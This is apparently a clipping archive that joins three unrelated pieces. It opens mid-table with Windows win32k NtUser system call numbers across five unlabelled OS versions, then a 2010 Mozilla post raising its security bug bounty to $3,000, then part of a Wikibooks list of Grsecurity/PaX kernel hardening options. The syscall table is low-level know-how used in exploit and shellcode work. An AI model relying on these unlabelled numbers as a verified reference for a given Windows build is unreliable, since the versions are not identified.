NtUserGetClipboardSequenceNumber |  0x1055  |  0x1055  |  0x1056  |  0x1056  |  0x1056   
NtUserGetClipboardViewer |  0x1241  |  0x1241  |  0x1299  |  0x12a9  |  0x12a9   
NtUserGetComboBoxInfo |  0x1242  |  0x1242  |  0x129a  |  0x12aa  |  0x12aa   
NtUserGetControlBrush |  0x107b  |  0x107b  |  0x107c  |  0x107a  |  0x107a   
NtUserGetControlColor |  0x10e7  |  0x10e7  |  0x10e8  |  0x10e3  |  0x10e3   
NtUserGetCursorFrameInfo |  0x10f6  |  0x10f6  |  0x10f7  |  0x10f2  |  0x10f2   
NtUserGetCursorInfo |  0x1243  |  0x1243  |  0x129b  |  0x12ab  |  0x12ab   
NtUserGetDC |  0x100a  |  0x100a  |  0x100a  |  0x100a  |  0x100a   
NtUserGetDCEx |  0x1093  |  0x1093  |  0x1094  |  0x1092  |  0x1092   
NtUserGetDisplayConfigBufferSizes |     |     |     |  0x12ac  |  0x12ac   
NtUserGetDoubleClickTime |  0x10ba  |  0x10ba  |  0x10bb  |  0x10b6  |  0x10b6   
NtUserGetForegroundWindow |  0x103b  |  0x103b  |  0x103c  |  0x103c  |  0x103c   
NtUserGetGUIThreadInfo |  0x1104  |  0x1104  |  0x1105  |  0x10ff  |  0x10ff   
NtUserGetGestureConfig |     |     |     |  0x12ad  |  0x12ad   
NtUserGetGestureExtArgs |     |     |     |  0x12ae  |  0x12ae   
NtUserGetGestureInfo |     |     |     |  0x12af  |  0x12af   
NtUserGetGuiResources |  0x1244  |  0x1244  |  0x129c  |  0x12b0  |  0x12b0   
NtUserGetIconInfo |  0x104e  |  0x104e  |  0x104f  |  0x104f  |  0x104f   
NtUserGetIconSize |  0x1089  |  0x1089  |  0x108a  |  0x1088  |  0x1088   
NtUserGetImeHotKey |  0x1245  |  0x1245  |  0x129d  |  0x12b1  |  0x12b1   
NtUserGetImeInfoEx |  0x1246  |  0x1246  |  0x129e  |  0x12b2  |  0x12b2   
NtUserGetInputLocaleInfo |     |     |     |  0x12b3  |  0x12b3   
NtUserGetInternalWindowPos |  0x1247  |  0x1247  |  0x129f  |  0x12b4  |  0x12b4   
NtUserGetKeyNameText |  0x1248  |  0x1248  |  0x12a0  |  0x12b5  |  0x12b5   
NtUserGetKeyState |  0x1003  |  0x1003  |  0x1003  |  0x1003  |  0x1003   
NtUserGetKeyboardLayoutList |  0x1058  |  0x1058  |  0x1059  |  0x1059  |  0x1059   
NtUserGetKeyboardLayoutName |  0x1249  |  0x1249  |  0x12a1  |  0x12b6  |  0x12b6   
NtUserGetKeyboardState |  0x1079  |  0x1079  |  0x107a  |  0x1078  |  0x1078   
NtUserGetLayeredWindowAttributes |  0x124a  |  0x124a  |  0x12a2  |  0x12b7  |  0x12b7   
NtUserGetListBoxInfo |  0x124b  |  0x124b  |  0x12a3  |  0x12b8  |  0x12b8   
NtUserGetMenuBarInfo |  0x10c5  |  0x10c5  |  0x10c6  |  0x10c1  |  0x10c1   
NtUserGetMenuIndex |  0x124c  |  0x124c  |  0x12a4  |  0x12b9  |  0x12b9   
NtUserGetMenuItemRect |  0x124d  |  0x124d  |  0x12a5  |  0x12ba  |  0x12ba   
NtUserGetMessage |  0x1006  |  0x1006  |  0x1006  |  0x1006  |  0x1006   
NtUserGetMouseMovePointsEx |  0x124e  |  0x124e  |  0x12a6  |  0x12bb  |  0x12bb   
NtUserGetObjectInformation |  0x106b  |  0x106b  |  0x106c  |  0x106c  |  0x106c   
NtUserGetOpenClipboardWindow |  0x10dc  |  0x10dc  |  0x10dd  |  0x10d8  |  0x10d8   
NtUserGetPriorityClipboardFormat |  0x124f  |  0x124f  |  0x12a7  |  0x12bc  |  0x12bc   
NtUserGetProcessWindowStation |  0x1021  |  0x1021  |  0x1022  |  0x1022  |  0x1022   
NtUserGetProp |     |     |  0x100e  |  0x100e  |  0x100e   
NtUserGetRawInputBuffer |  0x1250  |  0x1250  |  0x12a8  |  0x12bd  |  0x12bd   
NtUserGetRawInputData |  0x1251  |  0x1251  |  0x12a9  |  0x12be  |  0x12be   
NtUserGetRawInputDeviceInfo |  0x1252  |  0x1252  |  0x12aa  |  0x12bf  |  0x12bf   
NtUserGetRawInputDeviceList |  0x1253  |  0x1253  |  0x12ab  |  0x12c0  |  0x12c0   
NtUserGetRegisteredRawInputDevices |  0x1254  |  0x1254  |  0x12ac  |  0x12c1  |  0x12c1   
NtUserGetScrollBarInfo |  0x1094  |  0x1094  |  0x1095  |  0x1093  |  0x1093   
NtUserGetSystemMenu |  0x1060  |  0x1060  |  0x1061  |  0x1061  |  0x1061   
NtUserGetThreadDesktop |  0x1084  |  0x1084  |  0x1085  |  0x1083  |  0x1083   
NtUserGetThreadState |  0x1000  |  0x1000  |  0x1000  |  0x1000  |  0x1000   
NtUserGetTitleBarInfo |  0x1090  |  0x1090  |  0x1091  |  0x108f  |  0x108f   
NtUserGetTopLevelWindow |     |     |     |  0x12c2  |  0x12c2   
NtUserGetTouchInputInfo |     |     |     |  0x12c3  |  0x12c3   
NtUserGetUpdateRect |  0x1053  |  0x1053  |  0x1054  |  0x1054  |  0x1054   
NtUserGetUpdateRgn |  0x1087  |  0x1087  |  0x1088  |  0x1086  |  0x1086   
NtUserGetUpdatedClipboardFormats |     |     |  0x12ad  |  0x12c4  |  0x12c4   
NtUserGetWOWClass |  0x1255  |  0x1255  |  0x12ae  |  0x12c5  |  0x12c5   
NtUserGetWindowCompositionAttribute |     |     |     |  0x12c6  |  0x12c6   
NtUserGetWindowCompositionInfo |     |     |     |  0x12c7  |  0x12c7   
NtUserGetWindowDC |  0x1063  |  0x1063  |  0x1064  |  0x1064  |  0x1064   
NtUserGetWindowDisplayAffinity |     |     |     |  0x12c8  |  0x12c8   
NtUserGetWindowMinimizeRect |     |     |  0x12af  |  0x12c9  |  0x12c9   
NtUserGetWindowPlacement |  0x10d9  |  0x10d9  |  0x10da  |  0x10d5  |  0x10d5   
NtUserGetWindowRgnEx |     |     |  0x12b0  |  0x12ca  |  0x12ca   
NtUserGhostWindowFromHungWindow |     |     |  0x12b1  |  0x12cb  |  0x12cb   
NtUserHardErrorControl |  0x1256  |  0x1256  |  0x12b2  |  0x12cc  |  0x12cc   
NtUserHideCaret |  0x101e  |  0x101e  |  0x101f  |  0x101f  |  0x101f   
NtUserHiliteMenuItem |  0x1257  |  0x1257  |  0x12b3  |  0x12cd  |  0x12cd   
NtUserHungWindowFromGhostWindow |     |     |  0x12b4  |  0x12ce  |  0x12ce   
NtUserHwndQueryRedirectionInfo |     |     |     |  0x12cf  |  0x12cf   
NtUserHwndSetRedirectionInfo |     |     |     |  0x12d0  |  0x12d0   
NtUserImpersonateDdeClientWindow |  0x1258  |  0x1258  |  0x12b5  |  0x12d1  |  0x12d1   
NtUserInitTask |  0x1259  |  0x1259  |  0x12b6  |  0x12d2  |  0x12d2   
NtUserInitialize |  0x125a  |  0x125a  |  0x12b7  |  0x12d3  |  0x12d3   
NtUserInitializeClientPfnArrays |  0x125b  |  0x125b  |  0x12b8  |  0x12d4  |  0x12d4   
NtUserInjectGesture |     |     |     |  0x12d5  |  0x12d5   
NtUserInternalGetWindowIcon |     |     |  0x12b9  |  0x12d6  |  0x12d6   
NtUserInternalGetWindowText |  0x1062  |  0x1062  |  0x1063  |  0x1063  |  0x1063   
NtUserInvalidateRect |  0x1004  |  0x1004  |  0x1004  |  0x1004  |  0x1004   
NtUserInvalidateRgn |  0x10cc  |  0x10cc  |  0x10cd  |  0x10c8  |  0x10c8   
NtUserIsClipboardFormatAvailable |  0x102e  |  0x102e  |  0x102f  |  0x102f  |  0x102f   
NtUserIsTopLevelWindow |     |     |     |  0x12d7  |  0x12d7   
NtUserIsTouchWindow |     |     |     |  0x12d8  |  0x12d8   
NtUserKillTimer |  0x101a  |  0x101a  |  0x101b  |  0x101b  |  0x101b   
NtUserLoadKeyboardLayoutEx |  0x125c  |  0x125c  |  0x12ba  |  0x12d9  |  0x12d9   
NtUserLockWindowStation |  0x125d  |  0x125d  |  0x12bb  |  0x12da  |  0x12da   
NtUserLockWindowUpdate |  0x110c  |  0x110c  |  0x110d  |  0x1106  |  0x1106   
NtUserLockWorkStation |  0x125e  |  0x125e  |  0x12bc  |  0x12db  |  0x12db   
NtUserLogicalToPhysicalPoint |     |     |  0x12bd  |  0x12dc  |  0x12dc   
NtUserMNDragLeave |  0x125f  |  0x125f  |  0x12be  |  0x12dd  |  0x12dd   
NtUserMNDragOver |  0x1260  |  0x1260  |  0x12bf  |  0x12de  |  0x12de   
NtUserMagControl |     |     |     |  0x12df  |  0x12df   
NtUserMagGetContextInformation |     |     |     |  0x12e0  |  0x12e0   
NtUserMagSetContextInformation |     |     |     |  0x12e1  |  0x12e1   
NtUserManageGestureHandlerWindow |     |     |     |  0x12e2  |  0x12e2   
NtUserMapVirtualKeyEx |  0x105a  |  0x105a  |  0x105b  |  0x105b  |  0x105b   
NtUserMenuItemFromPoint |  0x1261  |  0x1261  |  0x12c0  |  0x12e3  |  0x12e3   
NtUserMessageCall |  0x1007  |  0x1007  |  0x1007  |  0x1007  |  0x1007   
NtUserMinMaximize |  0x1262  |  0x1262  |  0x12c1  |  0x12e4  |  0x12e4   
NtUserModifyUserStartupInfoFlags |  0x1114  |  0x1114  |  0x1115  |  0x110e  |  0x110e   
NtUserModifyWindowTouchCapability |     |     |     |  0x12e5  |  0x12e5   
NtUserMoveWindow |  0x105d  |  0x105d  |  0x105e  |  0x105e  |  0x105e   
NtUserNotifyIMEStatus |  0x1263  |  0x1263  |  0x12c2  |  0x12e6  |  0x12e6   
NtUserNotifyProcessCreate |  0x108e  |  0x108e  |  0x108f  |  0x108d  |  0x108d   
NtUserNotifyWinEvent |  0x102c  |  0x102c  |  0x102d  |  0x102d  |  0x102d   
NtUserOpenClipboard |  0x10d3  |  0x10d3  |  0x10d4  |  0x10cf  |  0x10cf   
NtUserOpenDesktop |  0x10ab  |  0x10ab  |  0x10ac  |  0x10a7  |  0x10a7   
NtUserOpenInputDesktop |  0x1264  |  0x1264  |  0x12c3  |  0x12e7  |  0x12e7   
NtUserOpenThreadDesktop |     |     |  0x12c4  |  0x12e8  |  0x12e8   
NtUserOpenWindowStation |  0x10a1  |  0x10a1  |  0x10a2  |  0x10a0  |  0x10a0   
NtUserPaintDesktop |  0x111b  |  0x111b  |  0x111c  |  0x1115  |  0x1115   
NtUserPaintMenuBar |  0x10f2  |  0x10f2  |  0x10f3  |  0x10ee  |  0x10ee   
NtUserPaintMonitor |     |     |  0x12c5  |  0x12e9  |  0x12e9   
NtUserPeekMessage |  0x1001  |  0x1001  |  0x1001  |  0x1001  |  0x1001   
NtUserPhysicalToLogicalPoint |     |     |  0x12c6  |  0x12ea  |  0x12ea   
NtUserPostMessage |  0x100e  |  0x100e  |  0x100f  |  0x100f  |  0x100f   
NtUserPostThreadMessage |  0x105e  |  0x105e  |  0x105f  |  0x105f  |  0x105f   
NtUserPrintWindow |  0x1265  |  0x1265  |  0x12c7  |  0x12eb  |  0x12eb   
NtUserProcessConnect |  0x10fa  |  0x10fa  |  0x10fb  |  0x10f6  |  0x10f6   
NtUserQueryDisplayConfig |     |     |     |  0x12ec  |  0x12ec   
NtUserQueryInformationThread |  0x1266  |  0x1266  |  0x12c8  |  0x12ed  |  0x12ed   
NtUserQueryInputContext |  0x1267  |  0x1267  |  0x12c9  |  0x12ee  |  0x12ee   
NtUserQuerySendMessage |  0x1268  |  0x1268  |  0x12ca  |  0x12ef  |  0x12ef   
NtUserQueryWindow |  0x100f  |  0x100f  |  0x1010  |  0x1010  |  0x1010   
NtUserRealChildWindowFromPoint |  0x1269  |  0x1269  |  0x12cb  |  0x12f0  |  0x12f0   
NtUserRealInternalGetMessage |  0x10ee  |  0x10ee  |  0x10ef  |  0x10ea  |  0x10ea   
NtUserRealWaitMessageEx |  0x126a  |  0x126a  |  0x12cc  |  0x12f1  |  0x12f1   
NtUserRedrawWindow |  0x1012  |  0x1012  |  0x1013  |  0x1013  |  0x1013   
NtUserRegisterClassExWOW |  0x10b4  |  0x10b4  |  0x10b5  |  0x10b0  |  0x10b0   
NtUserRegisterErrorReportingDialog |     |     |  0x12cd  |  0x12f2  |  0x12f2   
NtUserRegisterHotKey |  0x126b  |  0x126b  |  0x12ce  |  0x12f3  |  0x12f3   
NtUserRegisterRawInputDevices |  0x126c  |  0x126c  |  0x12cf  |  0x12f4  |  0x12f4   
NtUserRegisterServicesProcess |     |     |     |  0x12f5  |  0x12f5   
NtUserRegisterSessionPort |     |     |  0x12d0  |  0x12f6  |  0x12f6   
NtUserRegisterTasklist |  0x126d  |  0x126d  |  0x12d1  |  0x12f7  |  0x12f7   
NtUserRegisterUserApiHook |  0x126e  |  0x126e  |  0x12d2  |  0x12f8  |  0x12f8   
NtUserRegisterWindowMessage |  0x1036  |  0x1036  |  0x1037  |  0x1037  |  0x1037   
NtUserRemoteConnect |  0x126f  |  0x126f  |  0x12d3  |  0x12f9  |  0x12f9   
NtUserRemoteRedrawRectangle |  0x1270  |  0x1270  |  0x12d4  |  0x12fa  |  0x12fa   
NtUserRemoteRedrawScreen |  0x1271  |  0x1271  |  0x12d5  |  0x12fb  |  0x12fb   
NtUserRemoteStopScreenUpdates |  0x1272  |  0x1272  |  0x12d6  |  0x12fc  |  0x12fc   
NtUserRemoveClipboardFormatListener |     |     |  0x12d7  |  0x12fd  |  0x12fd   
NtUserRemoveMenu |  0x10fe  |  0x10fe  |  0x10ff  |  0x10fa  |  0x10fa   
NtUserRemoveProp |  0x1045  |  0x1045  |  0x1046  |  0x1046  |  0x1046   
NtUserResolveDesktop |  0x1120  |  0x1120  |  0x1121  |     |      
NtUserResolveDesktopForWOW |  0x1273  |  0x1273  |  0x12d8  |  0x12fe  |  0x12fe   
NtUserSBGetParms |  0x104d  |  0x104d  |  0x104e  |  0x104e  |  0x104e   
NtUserScrollDC |  0x106a  |  0x106a  |  0x106b  |  0x106b  |  0x106b   
NtUserScrollWindowEx |  0x10c2  |  0x10c2  |  0x10c3  |  0x10be  |  0x10be   
NtUserSelectPalette |  0x101c  |  0x101c  |  0x101d  |  0x101d  |  0x101d   
NtUserSendInput |  0x1083  |  0x1083  |  0x1084  |  0x1082  |  0x1082   
NtUserSendTouchInput |     |     |     |  0x12ff  |  0x12ff   
NtUserSetActiveWindow |  0x10e4  |  0x10e4  |  0x10e5  |  0x10e0  |  0x10e0   
NtUserSetAppImeLevel |  0x1274  |  0x1274  |  0x12d9  |  0x1300  |  0x1300   
NtUserSetCapture |  0x1048  |  0x1048  |  0x1049  |  0x1049  |  0x1049   
NtUserSetChildWindowNoActivate |     |     |     |  0x1301  |  0x1301   
NtUserSetClassLong |  0x10c4  |  0x10c4  |  0x10c5  |  0x10c0  |  0x10c0   
NtUserSetClassLongPtr |  0x1297  |  0x1297  |  0x1304  |  0x1339  |  0x1339   
NtUserSetClassWord |  0x1275  |  0x1275  |  0x12da  |  0x1302  |  0x1302   
NtUserSetClipboardData |  0x10d5  |  0x10d5  |  0x10d6  |  0x10d1  |  0x10d1   
NtUserSetClipboardViewer |  0x1121  |  0x1121  |  0x1122  |  0x111a  |  0x111a   
NtUserSetConsoleReserveKeys |  0x1123  |  0x1123  |  0x1124  |     |      
NtUserSetCursor |  0x1019  |  0x1019  |  0x101a  |  0x101a  |  0x101a   
NtUserSetCursorContents |  0x1276  |  0x1276  |  0x12db  |  0x1303  |  0x1303   
NtUserSetCursorIconData |  0x10a8  |  0x10a8  |  0x10a9  |  0x10a4  |  0x10a4   
NtUserSetDisplayConfig |     |     |     |  0x1304  |  0x1304   
NtUserSetFocus |  0x1050  |  0x1050  |  0x1051  |  0x1051  |  0x1051   
NtUserSetGestureConfig |     |     |     |  0x1305  |  0x1305   
NtUserSetImeHotKey |  0x1277  |  0x1277  |  0x12dc  |  0x1306  |  0x1306   
NtUserSetImeInfoEx |  0x1278  |  0x1278  |  0x12dd  |  0x1307  |  0x1307   
NtUserSetImeOwnerWindow |  0x1279  |  0x1279  |  0x12de  |  0x1308  |  0x1308   
NtUserSetInformationProcess |  0x1100  |  0x1100  |  0x1101  |     |      
NtUserSetInformationThread |  0x10e5  |  0x10e5  |  0x10e6  |  0x10e1  |  0x10e1   
NtUserSetInternalWindowPos |  0x127a  |  0x127a  |  0x12df  |  0x1309  |  0x1309   
NtUserSetKeyboardState |  0x10f3  |  0x10f3  |  0x10f4  |  0x10ef  |  0x10ef   
NtUserSetLayeredWindowAttributes |  0x127b  |  0x127b  |  0x12e0  |  0x130a  |  0x130a   
NtUserSetLogonNotifyWindow |  0x127c  |  0x127c  |     |     |      
NtUserSetMenu |  0x127d  |  0x127d  |  0x12e1  |  0x130b  |  0x130b   
NtUserSetMenuContextHelpId |  0x127e  |  0x127e  |  0x12e2  |  0x130c  |  0x130c   
NtUserSetMenuDefaultItem |  0x1107  |  0x1107  |  0x1108  |  0x1102  |  0x1102   
NtUserSetMenuFlagRtoL |  0x127f  |  0x127f  |  0x12e3  |  0x130d  |  0x130d   
NtUserSetMirrorRendering |     |     |  0x12e4  |  0x130e  |  0x130e   
NtUserSetObjectInformation |  0x1280  |  0x1280  |  0x12e5  |  0x130f  |  0x130f   
NtUserSetParent |  0x1078  |  0x1078  |  0x1079  |  0x1077  |  0x1077   
NtUserSetProcessDPIAware |     |     |  0x12e6  |  0x1310  |  0x1310   
NtUserSetProcessWindowStation |  0x10ac  |  0x10ac  |  0x10ad  |  0x10a8  |  0x10a8   
NtUserSetProp |  0x104b  |  0x104b  |  0x104c  |  0x104c  |  0x104c   
NtUserSetScrollInfo |  0x102f  |  0x102f  |  0x1030  |  0x1030  |  0x1030   
NtUserSetShellWindowEx |  0x1281  |  0x1281  |  0x12e7  |  0x1311  |  0x1311   
NtUserSetSysColors |  0x1282  |  0x1282  |  0x12e8  |  0x1312  |  0x1312   
NtUserSetSystemCursor |  0x1283  |  0x1283  |  0x12e9  |  0x1313  |  0x1313   
NtUserSetSystemMenu |  0x110d  |  0x110d  |  0x110e  |  0x1107  |  0x1107   
NtUserSetSystemTimer |  0x1284  |  0x1284  |  0x12ea  |  0x1314  |  0x1314   
NtUserSetThreadDesktop |  0x1092  |  0x1092  |  0x1093  |  0x1091  |  0x1091   
NtUserSetThreadLayoutHandles |  0x1285  |  0x1285  |  0x12eb  |  0x1315  |  0x1315   
NtUserSetThreadState |  0x10dd  |  0x10dd  |  0x10de  |  0x10d9  |  0x10d9   
NtUserSetTimer |  0x1017  |  0x1017  |  0x1018  |  0x1018  |  0x1018   
NtUserSetWinEventHook |  0x1109  |  0x1109  |  0x110a  |  0x1104  |  0x1104   
NtUserSetWindowCompositionAttribute |     |     |     |  0x1316  |  0x1316   
NtUserSetWindowDisplayAffinity |     |     |     |  0x1317  |  0x1317   
NtUserSetWindowFNID |  0x1096  |  0x1096  |  0x1097  |  0x1095  |  0x1095   
NtUserSetWindowLong |  0x105b  |  0x105b  |  0x105c  |  0x105c  |  0x105c   
NtUserSetWindowLongPtr |  0x1298  |  0x1298  |  0x1306  |  0x133b  |  0x133b   
NtUserSetWindowPlacement |  0x10e6  |  0x10e6  |  0x10e7  |  0x10e2  |  0x10e2   
NtUserSetWindowPos |  0x1023  |  0x1023  |  0x1024  |  0x1024  |  0x1024   
NtUserSetWindowRgn |  0x10ce  |  0x10ce  |  0x10cf  |  0x10ca  |  0x10ca   
NtUserSetWindowRgnEx |     |     |  0x12ec  |  0x1318  |  0x1318   
NtUserSetWindowStationUser |  0x1286  |  0x1286  |  0x12ed  |  0x1319  |  0x1319   
NtUserSetWindowWord |  0x10ec  |  0x10ec  |  0x10ed  |  0x10e8  |  0x10e8   
NtUserSetWindowsHookAW |  0x1106  |  0x1106  |  0x1107  |  0x1101  |  0x1101   
NtUserSetWindowsHookEx |  0x108d  |  0x108d  |  0x108e  |  0x108c  |  0x108c   
NtUserSfmDestroyLogicalSurfaceBinding |     |     |     |  0x131a  |  0x131a   
NtUserSfmDxBindSwapChain |     |     |     |  0x131b  |  0x131b   
NtUserSfmDxGetSwapChainStats |     |     |     |  0x131c  |  0x131c   
NtUserSfmDxOpenSwapChain |     |     |     |  0x131d  |  0x131d   
NtUserSfmDxQuerySwapChainBindingStatus |     |     |     |  0x131e  |  0x131e   
NtUserSfmDxReleaseSwapChain |     |     |     |  0x131f  |  0x131f   
NtUserSfmDxReportPendingBindingsToDwm |     |     |     |  0x1320  |  0x1320   
NtUserSfmDxSetSwapChainBindingStatus |     |     |     |  0x1321  |  0x1321   
NtUserSfmDxSetSwapChainStats |     |     |     |  0x1322  |  0x1322   
NtUserSfmGetLogicalSurfaceBinding |     |     |     |  0x1323  |  0x1323   
NtUserShowCaret |  0x1024  |  0x1024  |  0x1025  |  0x1025  |  0x1025   
NtUserShowScrollBar |  0x103c  |  0x103c  |  0x103d  |  0x103d  |  0x103d   
NtUserShowSystemCursor |     |     |  0x12ee  |  0x1324  |  0x1324   
NtUserShowWindow |  0x1057  |  0x1057  |  0x1058  |  0x1058  |  0x1058   
NtUserShowWindowAsync |  0x1122  |  0x1122  |  0x1123  |  0x111b  |  0x111b   
NtUserSoundSentry |  0x1287  |  0x1287  |  0x12ef  |  0x1325  |  0x1325   
NtUserSwitchDesktop |  0x1288  |  0x1288  |  0x12f0  |  0x1326  |  0x1326   
NtUserSystemParametersInfo |  0x1041  |  0x1041  |  0x1042  |  0x1042  |  0x1042   
NtUserTestForInteractiveUser |  0x1289  |  0x1289  |  0x12f1  |  0x1327  |  0x1327   
NtUserThunkedMenuInfo |  0x110e  |  0x110e  |  0x110f  |  0x1108  |  0x1108   
NtUserThunkedMenuItemInfo |  0x1099  |  0x1099  |  0x109a  |  0x1098  |  0x1098   
NtUserToUnicodeEx |  0x107a  |  0x107a  |  0x107b  |  0x1079  |  0x1079   
NtUserTrackMouseEvent |  0x10df  |  0x10df  |  0x10e0  |  0x10db  |  0x10db   
NtUserTrackPopupMenuEx |  0x128a  |  0x128a  |  0x12f2  |  0x1328  |  0x1328   
NtUserTranslateAccelerator |  0x1010  |  0x1010  |  0x1011  |  0x1011  |  0x1011   
NtUserTranslateMessage |  0x100d  |  0x100d  |  0x100d  |  0x100d  |  0x100d   
NtUserUnhookWinEvent |  0x110a  |  0x110a  |  0x110b  |  0x1105  |  0x1105   
NtUserUnhookWindowsHookEx |  0x1070  |  0x1070  |  0x1071  |  0x1070  |  0x1070   
NtUserUnloadKeyboardLayout |  0x128b  |  0x128b  |  0x12f3  |  0x1329  |  0x1329   
NtUserUnlockWindowStation |  0x128c  |  0x128c  |  0x12f4  |  0x132a  |  0x132a   
NtUserUnregisterClass |  0x10bf  |  0x10bf  |  0x10c0  |  0x10bb  |  0x10bb   
NtUserUnregisterHotKey |  0x128d  |  0x128d  |  0x12f5  |  0x132b  |  0x132b   
NtUserUnregisterSessionPort |     |     |  0x12f6  |  0x132c  |  0x132c   
NtUserUnregisterUserApiHook |  0x128e  |  0x128e  |  0x12f7  |  0x132d  |  0x132d   
NtUserUpdateInputContext |  0x128f  |  0x128f  |  0x12f8  |  0x132e  |  0x132e   
NtUserUpdateInstance |  0x1290  |  0x1290  |  0x12f9  |  0x132f  |  0x132f   
NtUserUpdateLayeredWindow |  0x1291  |  0x1291  |  0x12fa  |  0x1330  |  0x1330   
NtUserUpdatePerUserSystemParameters |  0x1292  |  0x1292  |  0x12fb  |  0x1331  |  0x1331   
NtUserUpdateWindowTransform |     |     |  0x12fc  |  0x1332  |  0x1332   
NtUserUserHandleGrantAccess |  0x1293  |  0x1293  |  0x12fd  |  0x1333  |  0x1333   
NtUserValidateHandleSecure |  0x1294  |  0x1294  |  0x12fe  |  0x1334  |  0x1334   
NtUserValidateRect |  0x10d1  |  0x10d1  |  0x10d2  |  0x10cd  |  0x10cd   
NtUserValidateTimerCallback |  0x1015  |  0x1015  |  0x1016  |  0x1016  |  0x1016   
NtUserVkKeyScanEx |  0x1027  |  0x1027  |  0x1028  |  0x1028  |  0x1028   
NtUserWaitForInputIdle |  0x1295  |  0x1295  |  0x12ff  |  0x1335  |  0x1335   
NtUserWaitForMsgAndEvent |  0x1296  |  0x1296  |  0x1300  |  0x1336  |  0x1336   
NtUserWaitMessage |  0x100c  |  0x100c  |  0x100c  |  0x100c  |  0x100c   
NtUserWindowFromPhysicalPoint |     |     |  0x1302  |  0x1337  |  0x1337   
NtUserWindowFromPoint |  0x1013  |  0x1013  |  0x1014  |  0x1014  |  0x1014   
NtUserYieldTask |  0x129a  |  0x129a  |  0x1303  |  0x1338  |  0x1338   
UMPDDrvQuerySpoolType |  0x1299  |  0x1299  |     |     |    

# Refresh of the Mozilla Security Bug Bounty Program at Mozilla Security Blog

**Created:**| _7/16/2010 9:19:39 AM_  
---|---  
**Updated:**| _7/16/2010 9:19:54 AM_  
**Author:**| __  
**Tags:**| _bughunting_  
  

## Refresh of the Mozilla Security Bug Bounty Program

07.15.10 - 05:09pm

Mozilla launched its security bounty program in 2004 and while the original
mission of protecting users by supporting security research has not changed,
the security environment has changed tremendously. In recognition of these
changes we are updating our security bounty program to better support
constructive security research.

For new bugs reported starting July 1st, 2010 UTC we are changing the bounty
payment to $3,000 US per eligible security bug. A lot has changed in the 6
years since the Mozilla program was announced, and we believe that one of the
best way to keep our users safe is to make it economically sustainable for
security researchers to do the right thing when disclosing information.

We have also clarified the products covered under the bounty to better reflect
the threats we are focused upon. We still include Firefox and Thunderbird
obviously, but we also added Firefox Mobile and any Mozilla services that
those products rely upon for safe operation. These are products we have
traditionally paid bounties for in a discretionary basis anyway, but we wanted
to make that explicit. Release and beta versions of those products are
eligible. Mozilla Suite bugs however is no longer eligible, as it is not an
officially released nor supported Mozilla product.

In concert with those changes, we are also updating the eligibility language
to make it clear that Mozilla reserves the right to disqualify bugs from the
bounty payment if the reporter has been deemed to have acted against the best
interests of our users. To be very clear, we are not modifying our position
regarding payment for publicly disclosed bugs; Mozilla bounty payments are not
contingent upon confidential disclosure. While Mozilla strongly encourages
researchers to disclose bugs to us privately \(and most researchers have\), we
also believe that researchers should ultimately retain control over when and
how the details of their research are disclosed.

We hope other organizations will match our program and actively support
constructive security research.

Full text of the security bounty program: http://www.mozilla.org/security/bug-
bounty.html

Security bounty FAQ: http://www.mozilla.org/security/bug-bounty-faq.html

Lucas Adamski  
Director of Security Engineering

  

  *[07.15.10 - 05:09pm]: 2010-07-15T05:07:11

# Grsecurity/Appendix/Grsecurity and PaX Configuration Options - Wikibooks,
collection of open-content textbooks

**Created:**| _5/12/2010 9:45:17 AM_  
---|---  
**Updated:**| _5/12/2010 9:45:33 AM_  
**Author:**| __  
**Tags:**| _security tools Linux kernel ref_  
  

## Introduction

This is a list of all grsecurity and PaX configuration options in the kernel.
You can access this same information using the kernel configuration's built-in
help. This page contains only the configuration options present in the latest
stable grsecurity release.

In the 2.6 kernels, the grsecurity options are under Security options »
Grsecurity. In the 2.4 kernels there is a top-level menu item called
Grsecurity.

## \[edit\]Grsecurity Kernel Configuration Options

  * **Grsecurity** \- If you say Y here, you will be able to configure many features that will enhance the security of your system. It is highly recommended that you say Y here and read through the help for each option so you fully understand the features and can evaluate their usefulness for your machine.
    * **Security Level** \- This menu lets you choose between four security levels
      * **Low** \- If you choose this option, several of the grsecurity options will be enabled that will give you greater protection against a number of attacks, while assuring that none of your software will have any conflicts with the additional security measures. If you run a lot of unusual software, or you are having problems with the higher security levels, you should say Y here. With this option, the following features are enabled:
        * Linking restrictions
        * FIFO restrictions
        * Enforcing RLMIT\_NPROC on `execve()`
        * Restricted `dmesg`
        * Enforced `chdir("/")` on chroot
        * Runtime module disabling
      * **Medium** \- If you say Y here, several features in addition to those included in the low additional security level will be enabled. These features provide even more security to your system, though in rare cases they may be incompatible with very old or poorly written software. If you enable this option, make sure that your auth service \(`identd`\) is running as gid 1001. With this option the following features \(in addition to those provided in the low additional security level\) will be enabled:
        * Failed fork logging
        * Time change logging
        * Signal logging
        * Deny mounts in chroot
        * Deny double chrooting
        * Deny `sysctl` writes in chroot
        * Deny `mknod` in chroot
        * Deny access to abstract AF\_UNIX sockets out of chroot
        * Deny `pivot_root` in chroot
        * Denied writes of  _/dev/kmem_ ,  _/dev/mem_ , and  _/dev/port_
        *  _/proc_ restrictions with special GID set to 10 \(usually wheel\)
        * Address Space Layout Randimization \(ASLR\)
        * Prevent exploitation of most refcount overflows
        * Bounds checking of copying between the kernel and userland
      * **High** \- If you say Y here, many of the features of grsecurity will be enabled, that will protect you against many kinds of attacks against your system. The heightened security comes at a cost of an increased chance of incompatibilities with rare software on your machine. Since this security level enables PaX, you should view <http://pax.grsecurity.net> and read about the PaX project. While you are there, download chpax and run it on binaries that cause problems with PaX. Also remember that since the  _/proc_ restrictions are enabled, you must run your identd as gid 1001. This security level enables the following features in addition to those listed in the low and medium security levels:
        * Additional  _/proc_ restrictions
        * Chmod restrictions in chroot
        * No signals, `ptrace`, or viewing or processes outside of chroot
        * Capability restrictions in chroot
        * Deny `fchdir` out of chroot
        * Priority restrictions in chroot
        * Segmentation-based implementation of PaX
        * Mprotect restrictions
        * Removal of addresses from  _/proc/ <pid>/\[smaps|maps|stat\]_
        * Kernel stack randomization
        * Mount/unmount/remount logging
        * Kernel symbol hiding
        * Preventation of memory exhaustion based exploits
        * Hardening of module auto-loading
        * `Ptrace` restrictions
        * Restricted vm86 mode
      * **Custom** \- If you say Y here, you will be able to configure every grsecurity option, which allows you to enable many more features that aren't covered in the basic security levels. These additional features include TPE, socket restrictions, and the sysctl system for grsecurity. It is advised that you read through the help for each option to determine its usefulness in your situation.
    * **Address Space Protection** \- This menu lets you choose options that affect the Address Space Protection
